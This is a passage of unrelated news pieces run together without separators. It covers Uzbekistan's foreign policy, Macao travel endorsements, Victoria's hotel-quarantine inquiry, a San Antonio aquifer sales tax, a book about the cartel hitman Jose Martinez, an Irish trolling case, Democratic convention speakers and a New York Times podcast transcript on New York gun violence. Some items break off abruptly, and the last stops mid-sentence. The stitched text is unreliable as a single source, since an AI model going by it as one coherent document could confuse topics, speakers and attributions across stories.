and technical assistance for the implementation of high-tech projects in the fields of industry, energy, infrastructure development, automotive, science and innovation, healthcare and tourism. Relations of Uzbekistan with Egypt, Saudi Arabia, United Arab Emirates, Kuwait, Qatar, Oman, Bahrain, Jordan, Algeria and other Middle Eastern countries are reaching a fundamentally new level. It should be noted that the development and strengthening of mutually beneficial and comprehensive relations with the states of the Middle East remains one of the priorities of Uzbekistan's foreign policy. Using the potential of international platforms The new foreign policy course is manifested in the intensification of interaction and strengthening of Uzbekistan's positions in regional and international organizations. Our country traditionally attaches great importance to the development of dialogue and cooperation with the United Nations. In recent years, the level of interaction with the UN and its institutions has been increased, including the Office of the High Commissioner for Human Rights and the Human Rights Council. Uzbekistan pays special attention to strengthening friendly ties and mutually beneficial cooperation with the countries of the Commonwealth of Independent States. In his Address to the Oliy Majlis, speaking about the strategy of the country's first chairmanship in the CIS in 2020, the President of Uzbekistan Shavkat Mirziyoyev noted: "We will use all opportunities to expand economic cooperation in the Commonwealth, increase the effectiveness of the decisions made by the organization and further strengthen humanitarian ties between the participating countries." As of today, Uzbekistan has raised the level of its national coordinator in the CIS from deputy foreign minister to deputy prime minister, and resumed its participation in the CIS Economic Council. The priority of Uzbekistan's foreign policy is the development and strengthening of ties with the Turkic countries. In September 2019, the country joined the Turkic Council (Cooperation Council of Turkic Speaking States). In the long term, the Turkic Council should become a sub-regional association, a kind of mechanism for regional cooperation in the vast space between Europe, the Middle East, the Caucasus and Central Asia. The intensification of cooperation with the organization opens up new opportunities for our country to develop multifaceted relations with bth neighboring states and non-regional close partners (Turkey, Azerbaijan). Participation in the work of the organization as a permanent member will give Tashkent additional political and diplomatic resources for the wide promotion of its initiatives in the international arena, as well as strengthen the international authority and status of the country as one of the centers of the Turkish-Islamic civilization. In a relatively short period by historical standards, the Shanghai Cooperation Organization has emerged as an influential, authoritative international structure. Uzbekistan views the SCO as an instrument for cooperation in the fight against terrorism and extremism, illegal drug and arms trafficking, and organized crime. For Uzbekistan, the priority also remains to intensify the activities of the SCO in the economic field, including the construction and reconstruction of transport communications, the development of contacts with other states and international structures interested in cooperation with the Organization. Uzbekistan is developing consistent interaction with the Organization of Islamic Cooperation and views it as an effective forum aimed at preserving and promoting sacred Islamic values, strengthening solidarity between Muslim peoples, promoting their progress and prosperity. Uzbekistan stands for active interaction of the OIC countries in the field of education and enlightenment, the development of science and technology, the introduction of innovative ideas and technologies. The republic is also interested in active cooperation with the Organization for Security and Cooperation in Europe, which is an important international forum for dialogue between states on issues of security, economic development and protection of human rights and freedoms. Priority areas of cooperation between Uzbekistan and the OSCE are the implementation of joint projects in the areas of reforming public administration institutions, improving the judicial, legal and electoral system, enhancing the role and significance of the media and civil society institutions, as well as developing constructive interaction in countering transnational challenges and threats. The parliamentary elections held in our country in December 2019 were attended by 825 observers from 50 countries and 10 international organizations. For the first time, Uzbekistan received a full-scale mission of the OSCE Office for Democratic Institutions and Human Rights, consisting of 316 people. Our country aims to the qualitative expansion and deepening of cooperation with international financial institutions and trade organizations - the World Bank, International Monetary Fund, Asian Development Bank, Islamic Development Bank, World Trade Organization and others. A significant event was the restoration of cooperation with the European Bank for Reconstruction and Development, as a result of which the institution resumed financing socially significant projects in the regions of Uzbekistan. The agenda of Uzbekistan's cooperation with international financial institutions includes improving the investment and business climate, increasing the country's credit rating, improving monetary policy, qualifications of national specialists in the banking and financial sector. The ultimate goal is to increase the volume of attracted foreign investments and financial resources to accelerate modernization and enhance the competitiveness of the national economy, develop the country's export potential and improve infrastructure, improve living standards and ensure the well-being of the population. Uzbekistan is a key state and plays a special role in Central Asia. Representatives of foreign expert and political circles also recognize the importance of the country in the region. Tashkent has signed agreements on strategic partnership with all neighboring states of the region, which allows building a regional policy at a high level. The work carried out for this purpose is also important in strengthening the place and role of the country in the system of international relations. By proposing initiatives to develop cooperation, Tashkent is not aiming at any dominance in the region. Uzbekistan's initiatives take into account the interests of all countries and are based on the principle of consensus. The new political reality in the region that was formed owing to the proactive, proactive and constructive diplomacy of Tashkent had a positive impact on building up interaction on a wide range of issues between the countries of Central Asia. A striking example was the meeting of the consultative meeting of the Heads of State of Central Asia, held in November 2019 in Tashkent. During the meetings, the parties discussed the solution of many problematic issues of the Central Asian agenda, the settlement of which would be impossible either in a unilateral or in a bilateral format. Moreover, an agreement was reached to hold such meetings on a regular basis. At the same time, it should be emphasized that the holding of the Consultative Meeting of the Heads of Central Asian States does not imply the creation of a new international organization in the region or any integration structure with its own charter and supranational bodies. This activity will be aimed exclusively at the reconciliation of watches on key issues of regional development. An active policy in the Central Asian direction, the priority of the region for Uzbekistan was clearly manifested during the coronavirus pandemic. Against the background of a difficult epidemiological situation, the countries of the region, through systematic contacts, worked out joint measures to combat the spread of infection, as well as increased cooperation in trade, economic and transport and transit spheres. Uzbekistan provided humanitarian assistance to Kyrgyzstan and Tajikistan. Aid to Tajikistan accounted for a third of the aid received by the country from all donors. The activation of the regional course of Uzbekistan has become a timely and effective response to a long-overdue request for regional rapprochement, restoration of trust and mutual understanding, as well as prompt resolution of accumulated problematic issues on the basis of reasonable compromises. The established open and trusting dialogue at the highest level has laid a solid foundation for the intensification of all areas of cooperation. Firstly, the political dialogue at the highest and high levels has intensified significantly, inter-parliamentary, inter-agency and inter-regional ties have intensified. In turn, during the specified period, the heads of all states of the region visited Uzbekistan. As the analysis show, the results of these meetings have become unprecedented in their effectiveness. Secondly, agreements were reached on jointly countering the activities of extremist and terrorist structures. The corresponding Plans of comprehensive measures of Uzbekistan for 2019-2020 were signed with Tajikistan and Kyrgyzstan. From July to September 2018, Uzbekistan held joint anti-terrorist exercises with Kazakhstan, Tajikistan and Kyrgyzstan. Third, the solution of the issues of delimitation and demarcation of the state borders of Uzbekistan with Kyrgyzstan and Tajikistan has advanced significantly. All of aforementioned is not just a resolution of bilateral controversial issues, it is the removal of an acute conflict potential from the agenda of the entire region and an increase in the level of political trust. Along with the intensification of interaction between Uzbekistan and the Central Asian countries in the political sphere, the trade and economic, transport and communication, energy, cultural and humanitarian spheres received a new impetus. The improvement of trade and economic relations between the countries of Central Asia contributed to the increase in the investment attractiveness of the region as a whole. In particular, from the beginning of 2017 to the present, more than 300 agreements have been signed between Uzbekistan and the countries of the region, as well as contracts and agreements worth about $ 75 billion. The region is witnessing progress in addressing environmental issues, in particular, water and energy issues . Tashkent is ready to consider the possibility of its participation in the construction projects of the Kambar-Ata and Rogun hydroelectric power stations. The implementation of the important section of the transport corridor "Uzbekistan-Turkmenistan-Iran-Oman" has been launched - the Turkmenabad-Farab railway and road bridges across the Amudarya river have been opened. Their launch made it possible to implement the idea of creating an end-to-end transport and communication highway along the Uzbekistan-Turkmenistan-Caspian Sea-South Caucasus route with access to Baku-Tbilisi-Kars and the Black Sea ports of Georgia, Turkey, Romania and other states. In addition, after 20 years of negotiations, significant progress has been made on the construction of a railway linking China and Central Asia via Kyrgyzstan. According to preliminary estimates, with the implementation of this project, the delivery time of goods will be reduced by 7-8 days, the length of the route from East Asia to the countries of the Middle East and Southern Europe will be reduced by 900 km. Special attention is paid to strengthening and expanding close cooperation in the cultural and humanitarian sphere, friendship and good-neighborly relations between the states of Central Asia. Concurrently, there is an awareness that the process is only at the beginning of the path. There is a set of unresolved issues that hinder full cooperation between the countries of the region. To summarize, it can be noted that ensuring peace and stability in Central Asia meets not only the interests of the countries of the region, but will also contribute to the sustainable development of the entire Eurasian continent in terms of its impact on security in adjacent regions. The message of the President of Uzbekistan to the Senate and the Legislative Chamber of the Oliy Majlis once again fixed the development priorities of Uzbekistan for the foreseeable period, where, along with fundamental reforms in the political, economic and social spheres, the implementation of a proactive foreign policy is envisaged. The renewed Uzbekistan sends a clear signal to foreign partners about the country's readiness for mutually beneficial cooperation. Alisher Kadyrov, Head of Department, Institute for Strategic and Interregional Studies under the President of the Republic of Uzbekistan Source: Xinhua| 2020-08-11 20:00:41|Editor: huaxia Video Player Close Tourists visit the Ruins of St. Paul's in Macao, south China, Dec. 17, 2019. (Xinhua/Du Yu) BEIJING, Aug. 11 (Xinhua) -- Exit and entry departments of China's public security organs will gradually resume the handling of Chinese mainland residents' tourist endorsements for individual or group tours to Macao, the National Immigration Administration (NIA) said on Tuesday. According to a notice released by the NIA, residents of Zhuhai in south China's Guangdong Province will be able to have their tourist endorsements handled from Wednesday. The resumption is expected to be expanded across Guangdong Province from Aug. 26, and across the country from Sept. 23, if the COVID-19 prevention and control situation stays stable in both the Chinese mainland and Macao. However, applications for papers or endorsements for tours to Macao by residents in medium- or high-risk zones for COVID-19, or residents who travel to such zones within 14 days before applying, will not be accepted, the notice said. It asked applicants to hand in their applications via online bookings to service windows for exits and entries at public security organs, and plan their tours reasonably. Victorian authorities have faced a grilling over their handling of the coronavirus pandemic, particularly the management of the hotel quarantine program that triggered a new wave of cases in the state. Premier Daniel Andrews, Health Minister Jenny Mikakos, Chief Health Officer Brett Sutton, and other government officers gave evidence at the public accounts and estimates committee on Tuesday. The PAEC inquiry into the Victorian Government's Response to the COVID-19 Pandemic Credit:Screen shot Genomic sequencing carried out by Melbourne's Doherty Institute shows a significant proportion if not all of Victoria's second-wave cases may be traced back to quarantine breaches at hotels, for which the government employed private security firms. Nationals MP Danny OBrien asked the Premier who made the decision to use private security guards in hotel quarantine, and why that decision was made. As Mayor Ron Nirenberg and VIA Metropolitan Transit officials scramble to get San Antonio voters to back a sales tax for an economic recovery plan in the wake of the coronavirus disaster and to expand the transit system in the future, the original purpose of that tax has all but vanished from the public eye. That has supporters of a program to protect San Antonios primary source of drinking water seriously concerned that it could lose funding altogether. The one-eighth-cent sales tax that Nirenberg and VIA have set their sights on currently pays to protect the Edwards Aquifer and to build linear parks and creekways. Its proved very popular with voters, who have approved the tax four times since 2000. Now Playing: Since 2000, San Antonio voters have approved four five-year propositions to fund the acquisition of properties and conservation easements located on the environmentally sensitive recharge and contributing zones. Video: Mike Fisher The mayor wants to spend the sales tax revenue on an ambitious plan to train and educate the unemployed for better-paying jobs. After Nirenbergs plan has taken its cut of the money, VIA officials want to claim a share for improvements to mass transit. The future of the aquifer program which since 2000 has protected about 160,000 acres at a cost of $260 million has yet to be decided, despite months of debate. I think its extraordinarily disrespectful to the people of San Antonio, said Annalisa Peace, executive director of the Greater Edwards Aquifer Alliance. Josie Norris /Staff Photographer The programs popularity among voters shouldnt be dismissed, she said. And theyre just totally ignoring that, she said of city and VIA officials. City officials have landed on one proposal to continue the program at about half the funding, using other city money, but that option has made supporters of the current program anxious. The city would use $100 million over a decade out of money it already receives from the San Antonio Water System and from bonds. A city-commissioned study showed that amount was enough to meet the citys water needs through 2070. The City Council was expected to vote on the proposal in April, but the COVID-19 pandemic scuttled those plans. Now, the council will likely take up the measure next month. Josie Norris/Staff Photographer That proposal could later be supplemented with voter-approved bonds, but that would require a change to the city charter, the citys chief financial officer, Ben Gorzell, said Monday during a meeting of the Conservation Advisory Board, which oversees the program. Anxieties remained about the proposal chiefly that the council could choose to wipe out the program without voters having a say. I think it could preserve the program as we know it, board chair Francine Romero said of the proposal. But I just want to be really frank to people that the big difference with moving to this is one majority vote from council could end the whole thing. Gorzell tried to ease some of those concerns by pointing out potential safeguards. The city would still be on the hook to pay off bonds used to secure conservation easements once the city-run program begins in 2022, he said. The city would also contract with one of its own local government corporations to run the program; if the council wanted to end the program, it would have to break the contract. The sales tax that funds the program is set to expire at the end of April, when its expected to hit the $100 million mark set by voters. Josie Norris/Staff Photographer Its estimated that the city will use the money generated by the sales tax for the aquifer, parks and creekways in 2023, Gorzell said. A coalition including members of the Greater Edwards Aquifer Alliance and the Sierra Club had put forth their own proposal earlier this year to allow voters to decide whether to extend the sales tax for two years for aquifer protection and linear creeks and parkways. But that push, Peace said, has been abandoned. Nirenberg has said hes determined to continue the aquifer protection program in some form, re-upping that promise in a San Antonio Express-News op-ed Monday. The mayor had sought a new home for the program since he and Bexar County Judge Nelson Wolff eyed the sales tax to fund expanded bus service and transit initiatives last year. Nirenberg pushed for months to move the program to SAWS before shifting to the current city proposal. The mayor backed off the transit push in light of the pandemic to the chagrin of VIA board members, who vowed to press on without the mayor, who wanted the tax for economic recovery. Josie Norris/Staff Photographer The two sides struck a compromise, but voters will have the final say in November. Under the deal, the city would hang on to the sales tax for four years to fund job training and higher education programs for those put out of work by the pandemic. After that, VIA would get the tax revenue to fund its expansion program. Council members will get a second briefing on the recovery plan Tuesday and will decide Thursday whether to put the measure on the November ballot. The aquifer protection program has no part in the deal. Joshua Fechter is a staff writer covering San Antonio government and politics. To read more from Joshua, become a subscriber. jfechter@express-news.net | Twitter: @JFreports 'It's time for me to pay for all the things I've done in my life,' Jose Martinez told the stunned detective. Martinez had just confessed to murdering 36 people in California and across the United States. It was June 2013 and the man known as the 'Black Hand' or 'El Mano Negra' in Spanish told police he was a drug cartel enforcer who first killed as payback for his half sister's murder in the late 1970s and then mostly for money starting in 1980, according to a new book, The Devil's Harvest. If Martinez's claims are true, he is a serial killer in the same league as Ted Bundy and John Wayne Gacy, Jessica Garrison, the book's author and an investigative journalist, noted in one of her articles about him. For more than 30 years, Martinez managed not to get caught for his crimes and he told Garrison that was because he was 'so damn good.' Martinez had been in Mexico before he came back to the United States to turn himself in. While there are numerous theories as to why he confessed, he told investigators it was for his family, who seemed not to have known he was a hit man and described him as a devoted brother, father and grandfather to Garrison. However, she paints a more complicated portrait in her book as to why Martinez acted with such impunity for decades. She pointed to police departments squeezed by budget cuts and to Martinez catching a few lucky breaks at times. But mostly, she noted that the victims were sometimes poor, not white and 'presumed to be criminals themselves.' In Central Valley, California, which produces a lot of the nation's fruits that are picked by undocumented immigrants, Garrison wrote that Martinez had 'found an ideal place to ply his trade. 'Some lives count more than others, and nothing reveals this as starkly as death.' And while the story of a man who claimed to be drug cartel hit man for decades did get media coverage, Garrison wrote it pales in comparison to attention paid to another murderer, Joseph James DeAngelo, known as the Golden State Killer, who targeted and raped 'mostly white women.' Since 2013, Martinez has pleaded guilty to nine murders in California, one murder in Alabama, and was found guilty of two murders in Florida, according to the Associated Press and local news reports. He is currently serving multiple life sentences. Many of the killings he said he committed have not been reinvestigated, according to the book. Jose Manuel Martinez, above in Alabama an undated file photo, turned himself in 2013 and told authorities that he was a drug cartel enforcer who had killed 36 people in California and across the United States. A new book, The Devil's Harvest, examines how Martinez acted with impunity for decades. Author Jessica Garrison interviewed more than 100 people, including Martinez, for the book between 2016 and 2019. Martinez also shared his 400-page unpublished memoir that detailed his crimes and life with Garrison Martinez claimed that he first killed when he was a teen in the late 1970s: the three men he believed raped and murdered his older half sister. By 1982, he was doing jobs for a Mr. X - Martinez has never revealed who he exactly he worked for - collecting money owed to the drug cartels, according to The Devil's Harvest. On November 6, 2006, Martinez pretended to be a homeowner looking for an estimate on some work to get Javier Huerta, 20, left, to come to a remote area, according to police reports, the Orlando Sentinel reported. Gustavo Olivares-Rivas, 28, right, came with Huerta, who supposedly had stolen 10 kilos of cocaine. In June 2019, Martinez was found guilty of fatally shooting both men, Ocala.com reported Martinez, who was born in 1962, grew up in Earlimart, a town in California's Tulare County, which Garrison described in the book as a 'tightly woven' farmworker community that was 'also so violent, some nicknamed it "Murdermart."' His family's roots to the area stretch back to his grandmother, and he and siblings spent time both in the US and Mexico. His stepfather's involvement with drugs led him to both smuggle and sell narcotics, according to the book. He first killed when he was 16-years-old, according to The Devil's Harvest: A Ruthless Killer, a Terrorized Community, and the Search for Justice in California's Central Valley. Martinez described killing the three men he believed raped and murdered his older half sister in his 400-page unpublished memoir that he shared with Garrison, the book's author. 'It feels good to take vengeance. It feels good to kill and the heart relaxes a bit,' he wrote in the memoir. After a friend offered to pay him to kill a man he claimed raped his sister, Martinez then fatally shot David Bedolla, 23, who was driving in the car with his wife, Cecilia Camacho, in October 1980, according to The Devil's Harvest. Camacho, who waited decades for justice for her first husband, told Garrison: 'There is no follow-through when the (victim) is from Mexico. We didn't have papers. We didn't have the means to speak up for ourselves.' Enter a man called Mr. X. Martinez has never revealed who has hired him or who exactly he worked for, wrote Garrison, who interviewed over 100 people between 2016 and 2019 and combed through court records, documents and newspapers articles for the book. Through a representative, she declined DailyMail.com's interview requests. Connected and wealthy, Mr. X hired Martinez, then 20, in 1982 to murder a man named Silvestre Ayon, who was blamed for the deaths of some men at a party in Mexico in a few years earlier. Martinez eventually found and shot Ayon, earning $2,500 for the job and asking Mr. X 'to spread the word' about him, according to the book. More jobs soon followed. Martinez, who was dealing drugs, also started collecting money that was owed to him and to the cartels. In one instance, he murdered a man named Raul Gonzalez, who owed him $2,000, in a 'spur of the moment act,' according to the book. 'I got mad because he said a bad word to me,' he said. He then earned $30,000 for collecting $95,000 from a man in a job Mr. X sent him on. Garrison wrote that he often spent what he earned on his family. In November 2006, Mr. X sent Martinez to Florida because Javier Huerta, 20, had allegedly stolen 10 kilos of cocaine, according to a new book, The Devil's Harvest. Martinez fatally shot Huerta and Gustavo Olivares-Rivas, 28. According to the Orlando Sentinel, their bodies were found in a truck off a state road. 'The case went unsolved until 2013 when detectives got a hit on DNA found on a cigarette butt left in a Mountain Dew can,' according to the article. The truck and Mountain Dew can are seen above In 2013, Jose Martinez, above, told police he killed 36 people. Since then, he has been convicted of 12 murders: nine in California, one in Alabama and two in Florida. He is currently serving multiple life sentences. A new book, The Devil's Harvest, examines how he got away with murder for over three decades Throughout the 1980s and early 1990s, Martinez started taking jobs outside of California, sometimes for Mr. X, and traveled to Twin Falls, Idaho, Waterloo, Iowa, and St. Louis where he said he stabbed and shot his victims, according to The Devil's Harvest. Garrison wrote that there is no documentation that supports his claims during this period, 'only his word.' He continued to smuggle, including people, between the US and Mexico border and collect drug debts. By 1990, he served a stint in prison on drug charges, but soon was out again and doing jobs. His reputation as 'El Mano Negra' or the 'Black Hand' grew in and around Earlimart, according to the book. Martinez had moved around the area with his family. Married twice, he also had a child with a woman he was having an affair with. In 1995, when a woman accidentally hit his son he was not hurt - while pulling out of his driveway, Martinez didn't allow anyone to park there. When a man did it three times and Martinez confronted him about it, he gave a 'disrespectful answer' and Martinez shot him in the head, Garrison wrote. Men being 'disrespectful' toward Martinez or his family or his belief they were hurting children or women led to more murders. In November 2006, Mr. X sent him to Florida because Javier Huerta, 20, allegedly stole 10 kilos of cocaine, according to the book. On November 6, 2006, Martinez pretended to be a homeowner looking for an estimate on some work to get Huerta, 20, to come to a remote area, according to police reports, the Orlando Sentinel reported. Gustavo Olivares-Rivas, 28, came with Huerta. Martinez shot them both and Garrison wrote that it was 'intolerable' that when Huerta allegedly stole the drugs, he had endangered a child. In June 2019, Martinez was found guilty of fatally shooting both men, Ocala.com reported. But before he turned himself in and confessed, in 2013, Martinez was visiting with his eldest daughter and his grandchildren in Alabama. When a friend of her daughter's boyfriend, Jose Ruiz, said something derogatory about his daughter, Martinez shot him twice in the head. The boyfriend was in the car with them when the murder happened and Martinez told him to 'keep his mouth shut,' according to the book. Martinez was able to escape to Mexico but the daughter's boyfriend was locked up. After his daughter called him and told him that the police were bringing his granddaughter for questioning, Garrison wrote, he came back to the United States and started to confess his crimes. He pleaded guilty to the murder of Jose Ruiz in September 2014, according to AL.com. A Fianna Fail Senator has called on social media companies to take responsibility for their actions after a Sinn Fein member in Wexford resigned from the party after sending nasty tweets from a private Twitter account. Senator Malcolm Byrne was one of the public figures targeted in a number of tweets sent from the @peeoneill Twitter account, which was revealed to be that of a prominent Sinn Fein member in Wexford, Paul Heffernan. The Twitter account has since been deleted and Sinn Fein has accepted Mr Heffernans resignation from the party, the Irish Times reports. Read More Local businessman Derek Webb, who also was targeted in some of the tweets that were sent, was the one who discovered that the tweets from the account were Mr Heffernans. Speaking to Independent.ie, Sen Byrne said that social media companies need to take accountability for anonymous accounts. The difference here is that this is not about the rough and tumble and disagreements about political issues, a lot of this is nasty, personalised. But its the fact that its anonymous and the trolls can hide behind that anonymity. There is a bigger issue here around digital literacy around social media companies need to take responsibility for their actions and political leadership calling out this anonymous trolling, he said. He said that some of the tweets aimed at him were homophobic in nature and alleged that they could be defamatory. Ive no problem with people criticising government policy or Fianna Fail policy or giving out to me, that I havent done something in the local area or anything like that, a lot of it is nasty and some of it is quite personalised. I tend to just block these people and it says more about them, Im trying to stay positive. I blocked the @peeoneil account, after a few of [tweets] it becomes very clear what theyre about and I reported it. It was obviously a fake account but Twitter failed to take action, he said. He said that he has not received an apology from Mr Heffernan. Im glad that Sinn Fein recognised that anonymous trolling is a problem and that it is wrong. It would be nice if he would apologise, but I regard the matter now as closed. Sinn Fein did not respond to a request for comment tonight. WASHINGTON Gov. Andrew M. Cuomo and Senate Minority Leader Charles E. Schumer will give addresses at the Democratic National Convention, the convention committee announced Tuesday morning. The convention scheduled for Aug. 17 to 20 will feature over 30 speakers, all Democrats except Republican John Kasich, the former governor of Ohio. From New York, Rep. Alexandria Ocasio-Cortez, D-Bronx, will also speak at the event. Each night, the convention will be livestreamed from 9 to 11 p.m. with speakers joining from locations across the country. Cuomo is scheduled to speak on Aug. 17 on the theme of "we the people," after winning significant national attention in 2020 for his handling of the state's coronavirus pandemic. Schumer, D-N.Y., is scheduled to give an address on Aug. 18 with the theme "leadership matters." Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Other speakers include former President Barack Obama, former First Lady Michelle Obama, former President Bill Clinton, former Secretary of State Hillary Clinton, House Speaker Nancy Pelosi, D-Calif., and Biden's primary challengers, Sen. Elizabeth Warren, D-Mass., Sen. Cory Booker, D-N.J., South Bend, Ind., Mayor Pete Buttigieg, Sen. Kamala Harris, D-Calif., Sen. Amy Klobuchar, D-Minn., and Sen. Bernie Sanders, I-Vt. Both the Republican and Democratic National Conventions will be largely virtual events this year with few individuals traveling to Milwaukee, the host city. Former Vice President Joe Biden has said he will accept the party's nomination from his home state of Delaware on Aug. 20. New York delegates will not travel to Milwaukee. [music] michael barbaro From The New York Times, Im Michael Barbaro. This is The Daily. Today: In major cities across the U.S., gun violence is surging just as activists are calling to defund the police. My colleague, Ashley Southall, on how that is playing out in New York City. Its Monday, August 24. Ashley, what has been the story of crime in New York City up until this moment? ashley southall So around the 70s and 80s, we saw crime start to really rise in New York. And we went through the drug war, the crack epidemic. And in the 90s, we saw crime sort of peak all across the United States, but especially in New York. And there were thousands of murders each year and even more shootings. But as the 90s wore on, and into the 2000s archived recording The crime rate in this country is continuing to fall. The F.B.I. reported today that violent crime fell 5.5 percent last year. Thats three years in a row now. ashley southall we saw crime decline. And there was a strong decline for years, to the point where we were having just hundreds of murders a year. archived recording 1 The N.Y.P.D. says there have been 289 murders this year. Thats down from a peak of more than 2,200 in 1990. archived recording 2 Crime in New York City dropping yet again, this time to levels not seen since Harry Truman was president. archived recording 3 Police admit its probably the worst kept secret in the city, that New York is now the safest big city in America. ashley southall And the question was when was New York going to reach bottom? archived recording 1 Breaking news on this Sunday night. archived recording 2 Crime is up across the city. Thats according to the latest numbers released by the N.Y.P.D. this archived recording 3 The N.Y.P.D. now having to adapt to a noticeable rise in crime since the beginning of the year. ashley southall At the beginning of the year, we started to see crime rise over several categories. Then in June, we see it really take off. archived recording 1 It has been a violent weekend in New York City. archived recording 2 The N.Y.P.D. investigating a spree of shootings on this first official weekend of summer. archived recording 3 More than a dozen people were shot between Friday night and Saturday morning. ashley southall And in July, the trend seems to just accelerate. archived recording 1 Nine victims fatally shot tonight across four boroughs. archived recording 2 Deadly shootings started just before 1:00 this morning in Brooklyn and continued throughout the day in Manhattan, the Bronx and Staten Island. ashley southall So that by the end of the month, wed had more shootings this year than all of last year. [sirens blaring] And we still have five months to go. michael barbaro Mhm. I guess we should acknowledge, Ashley, that there is a siren behind you, which has nothing to do with this conversation. Its just what it means to live in New York. ashley southall Yeah. Im five blocks from a hospital. So its part of the soundtrack of my everyday life. michael barbaro So at this point, there are meaningfully more shootings and meaningfully more murders. So Ashley, how should we think about the causes of this? What exactly is going on here? I think for a lot of people, the instinct might be to think that this is somehow related to this moment in American policing this forceful rejection of how policing has occurred, the protests against it and the response of police to those protests. ashley southall I mean, sure, its easy to think that because its right in front of us. It almost seems obvious. But its really much more complex. And there are really three big theories about whats happening. The one that has the most consensus around it is that the pandemic is exacerbating longstanding problems of gun violence and particularly unemployment. There are a lot of people with no jobs and nothing to do. And people are sinking deeper into poverty, which creates a greater desperation. And theres also a lot of illegal guns in New York City. And thats a really combustible situation. michael barbaro Well, what do you mean? How does that work? ashley southall What weve long known in New York City is that a small number of people are responsible for the vast majority of the violence. And those are people who are largely in gangs and crews, particularly in public housing. And those groups compete in normal times. Some gangs sell drugs. And they have turf that they cover. But when you have a pandemic hit that causes lots of unemployment, theres less people buying drugs. And so theres less of a market. And when you have less of a market, that increases the competition. So then you have these violent gangs fighting more fiercely for less of a pie. michael barbaro OK. So under this theory that the pandemic is exacerbating existing problems in the city, that explains the pandemics effect on the people doing the shooting. What about the effect the pandemic had on the police? ashley southall Immediately what we saw was officers being removed from duty because of the virus. We had thousands of officers calling out sick every day. And at the height of the pandemic, almost 20 percent of the force was out sick because of the virus. michael barbaro Wow. ashley southall And that had two effects. On-the-street officers, their presence is a deterrent to violence. Youre probably not going to shoot somebody with a officer standing right there watching you. michael barbaro Right. ashley southall But if theres no officer, theres no real deterrent. And then, after a shooting occurs, theres an investigation. In the police department, detectives work in these squad rooms where theyre very close together. Theyre practically breathing on top of each other. So if one of them gets sick, then theres a chance that everybodys sick. So they all go out sick, and investigations come to a halt. Well, thats a problem. Because one shooting often leads to another shooting, whether that person continues shooting rivals, or whether someone is now looking for him. And its almost always a him. So when you have cases that cant be investigated, that means that the ones that can be solved arent being solved and that that pattern of violence continues uninterrupted. michael barbaro All right. Thats the first theory, that the pandemic is both fueling more shootings and sidelining the officers who could potentially prevent those shootings. Ashley, what is the second theory of why crime is going up in New York? ashley southall Well, you touched on this earlier. We had massive protests break out in May after the death of George Floyd in police custody in Minneapolis, just as police were coming back from the virus. That required resources. We saw in those early days, the police deployed about 4,000 officers to the protest. But there was rampant looting in some parts of Manhattan and Brooklyn. And they had to double the force to about 8,000 police officers. So that meant that officers have to come from somewhere. And they typically come from the streets. And some of them come from detective squads. So that means that fewer police resources are involved in investigating shootings. And there are less officers in the neighborhoods where shootings are more likely to occur. michael barbaro And how do the protests themselves play into this theory? ashley southall Amid these protests, you start to see a political response to the demands to reform the police. archived recording (dermot f. shea) Within the last hour, I just chaired a meeting of senior executives of the police department. ashley southall And one of those changes was to disband the anti-crime units. archived recording (dermot f. shea) It is regarding the deployment of precinct level and P.S.A. level anti-crime units. These are the plainclothes units that operate our traditional anti-crime. michael barbaro And explain what an anti-crime unit is. ashley southall Anti-crime officers are the main group responsible for getting guns off the street in New York City. And they confiscated thousands of guns each year. archived recording (dermot f. shea) The men and women of the police department were doing what I and others before me asked. They have done an exceptional job. ashley southall But they were controversial. And they became known as the jump out boys. Because what they would do sometimes is stop in their cars, get out and throw somebody up against the wall, search them, and leave without any explanation or finding any weapons. And it had led to a lot of tension between police and communities of color. archived recording (dermot f. shea) And it is lost on no one, certainly not the people that live in the neighborhoods that we serve, that endure being stopped, or their children being stopped. ashley southall But what was also problematic about anti-crime is that they were involved in a lot of police-involved shootings. michael barbaro And why exactly is that? ashley southall Because anti-crime officers are trained to look for guns. Theyre looking for violent people. And so in expecting violence, they are prepared to use it. And the calculation was that New York City could not afford to have a police-involved shooting at that time. So the commissioner had been thinking about this, about disbanding anti-crime for a long time. archived recording (dermot f. shea) Effective immediately, we will be transitioning those units, roughly 600 people citywide, into a variety of assignments, including detective bureau, neighborhood policing and other assignments. ashley southall And finally, he made the decision in June to pull the plug. archived recording (dermot f. shea) Its a big move when you look at, culturally, how we police this city. And what we always struggle with, I believe, as police executives, is not keeping crime down. Its keeping crime down and keeping the community working with us. And I think those two things at times have been at odds. We can do it better. We can do it smarter. And we will. michael barbaro Is there a feeling, Ashley, that disbanding this unit, at a time when gun violence is going up, has contributed to the increase in shootings and in murders? ashley southall Theres certainly a sense that removing anti-crime officers from the street and publicly announcing that has let people who carry guns and who are also involved in violence know that theres no one there to stop them. And one of the things that weve seen as shootings and murders have risen, is that gun arrests have declined. And since the anti-crime unit was disbanded, shootings have only continued to go up. michael barbaro And under this second theory, thats centered around the rule of these protests in the rise of crime, what role does the actual frustration at the heart of these protests play here the mistrust on the side of the protesters toward the police? ashley southall Well, theres always been a level of mistrust of police in communities that experience higher levels of crime. Because they have experienced aggressive policing in the past. But what happens when you have a death like George Floyd thats captured on video, where hes saying the last words of Eric Garner, who died here six years ago, is that those old wounds are scratched again and they reopen. And that mistrust for a while is laid bare again. You know, that can manifest as people not calling the police or not seeking them out to help with the problem. And one of the things that the police have said is that they had people who were cooperating with shooting and murder investigations before the protests who have now backed out. Because they dont want to have anything to do with the police. And that makes it harder to solve crimes that might lead to future ones, like shootings. michael barbaro And what about the police side of this equation, this message of the protests? How are officers in New York City, from your reporting, internalizing this message and reacting to it, and perhaps changing their behavior and their approach in response in ways that might be fueling all of this? ashley southall So when you talk to the cops, or even if you listen to the things that top brass say, what cops take from the protests and the political response is that their work isnt valuable. And nobody supports them. That the city doesnt have their backs. And so what were seeing is that, in moments where police might have been proactive in making an arrest or in intervening in a situation that could spiral into violence, theyre actually standing down. One of the examples that people often give to me is that there are these barbecues and street parties that go late into the night. Usually the police would break them up. But instead, theyre going on well past midnight to 2:00, 4:00, sometimes even 6:00 a.m. And the police arent doing anything about it. And what weve seen in some instances is that those parties often lead to a shooting. And one or more people get hurt or are killed. michael barbaro And the cops youre talking to are telling you, yeah, were hesitant to engage with these kinds of situations right now. ashley southall Yeah. I mean, think about it from the perspective of the cop on the street who, hes thinking, you know, well, the public doesnt want me here. And if I step into a situation where I think someone might have a gun or this thing could get out of control, then I could be arrested. And then thats the end of my career, and I cant support my family. Thats a very scary thing for cops. michael barbaro But Im curious, Ashley, if in your reporting you get the sense 